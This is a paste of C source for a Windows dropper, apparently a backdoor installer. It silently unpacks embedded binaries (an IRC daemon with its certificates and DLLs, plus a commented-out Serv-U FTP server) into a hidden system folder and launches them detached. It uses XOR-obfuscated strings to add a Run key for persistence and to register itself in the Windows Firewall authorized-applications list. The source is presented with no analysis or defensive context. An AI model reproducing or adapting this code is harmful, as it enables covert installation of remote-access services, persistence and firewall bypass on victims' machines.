rendered paste body#include "includes.h"char iValuename[] = "Netlib";char sValuename[] = "WGRSEC";char movepath[] = "%windir%\\system\\hid\\"; //*path to move tochar movepath2[] = "%windir%\\system\\";char servup[MAX_PATH], ircdp[MAX_PATH];//#define _DEBUG#ifndef _DEBUG#pragma comment(linker, "/subsystem:windows ")#else#pragma comment(linker, "/subsystem:console ")#endif // _DEBUG#ifndef _DEBUGint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)#elseint main(int argc, char *argv[])#endif{ SetErrorMode(SEM_NOGPFAULTERRORBOX); char cfilename[MAX_PATH]; char movetopath[MAX_PATH]; PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath)); if(_mkdir(movetopath) == 0) { if(unpack(movetopath)) {// CreateProcess(servup,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo); CreateProcess(ircdp,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo); } } else { ExpandEnvironmentStrings(movepath2,movetopath,sizeof(movetopath)); if(unpack(movetopath)) {// CreateProcess(servup,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo); CreateProcess(ircdp,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo); } }#ifdef _DEBUG system("pause");#endif return 0;}bool write_file(char *filename, int resnum){ FILE *fp=fopen(filename, "wb"); if(!fp) return false; HMODULE hMod=GetModuleHandle(NULL); if(!hMod) return false; HRSRC hBinary=FindResource(hMod, MAKEINTRESOURCE(resnum), TEXT("BINRES")); if(!hBinary) return false; HGLOBAL hGbDesc=LoadResource(NULL, hBinary); DWORD dwSize=SizeofResource(NULL, hBinary); PBYTE pData=(unsigned char*)LockResource(hGbDesc); fwrite(pData, sizeof(unsigned char), dwSize, fp); fclose(fp); free(fp); return true; }bool unpack(char movetopath[]){ char *service="", fname[MAX_PATH]; bool unpack;/* sprintf(fname, "%s%s", movetopath, SERVU_SSLDLL); unpack=write_file(fname, IDR_BIN_SERVU_SSLDLL);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_SSLDLL, (unpack?"true":"false"));#endif if(unpack) { sprintf(fname, "%s%s", movetopath, SERVU_SSLDLL2); unpack=write_file(fname, IDR_BIN_SERVU_SSLDLL2);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_SSLDLL2, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, SERVU_CERT); unpack=write_file(fname, IDR_BIN_SERVU_CERT);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_CERT, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, SERVU_KEY); unpack=write_file(fname, IDR_BIN_SERVU_KEY);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_KEY, (unpack?"true":"false"));#endif } if(unpack) { sprintf(servup, "%s%s", movetopath, SERVU); unpack=write_file(servup, IDR_BIN_SERVU);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, SERVU_CONF); unpack=write_file(fname, IDR_BIN_SERVU_CONF);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_CONF, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, SERVU_DLL); unpack=write_file(fname, IDR_BIN_SERVU_DLL);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_DLL, (unpack?"true":"false"));#endif } if(unpack) {*/ sprintf(fname, "%s%s", movetopath, IRCD_CONF); unpack=write_file(fname, IDR_BIN_IRCD_CONF); Sleep(5000);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_CONF, (unpack?"true":"false"));#endif// } if(unpack) { sprintf(ircdp, "%s%s", movetopath, IRCD); unpack=write_file(ircdp, IDR_BIN_IRCD);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_CERT); unpack=write_file(fname, IDR_BIN_IRCD_CERT);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_CERT, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_KEY); unpack=write_file(fname, IDR_BIN_IRCD_KEY);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_KEY, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_TUNE); unpack=write_file(fname, IDR_BIN_IRCD_TUNE);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_TUNE, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_SSLDLL); unpack=write_file(fname, IDR_BIN_IRCD_SSLDLL);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_SSLDLL, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_DLL2); unpack=write_file(fname, IDR_BIN_IRCD_DLL2);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_DLL2, (unpack?"true":"false"));#endif } if(unpack) { sprintf(fname, "%s%s", movetopath, IRCD_DLL3); unpack=write_file(fname, IDR_BIN_IRCD_DLL3);#ifdef _DEBUG printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_DLL3, (unpack?"true":"false"));#endif } if(unpack) { WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, iValuename, ircdp); //WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, sValuename, servup); WriteRegistry(HKEY_LOCAL_MACHINE,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, iValuename, ircdp); //WriteRegistry(HKEY_LOCAL_MACHINE,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, sValuename, servup);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, iValuename, ircdp);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, sValuename, servup);// WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, iValuename, ircdp);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, iValuename, ircdp);// WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, sValuename, servup);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, sValuename, servup);// WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, iValuename, ircdp);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, iValuename, ircdp);// WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, sValuename, servup);// WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, sValuename, servup);// WriteRegistry(HKEY_CURRENT_USER,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, iValuename, ircdp);// WriteRegistry(HKEY_CURRENT_USER,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, sValuename, servup); return true; } else return false;}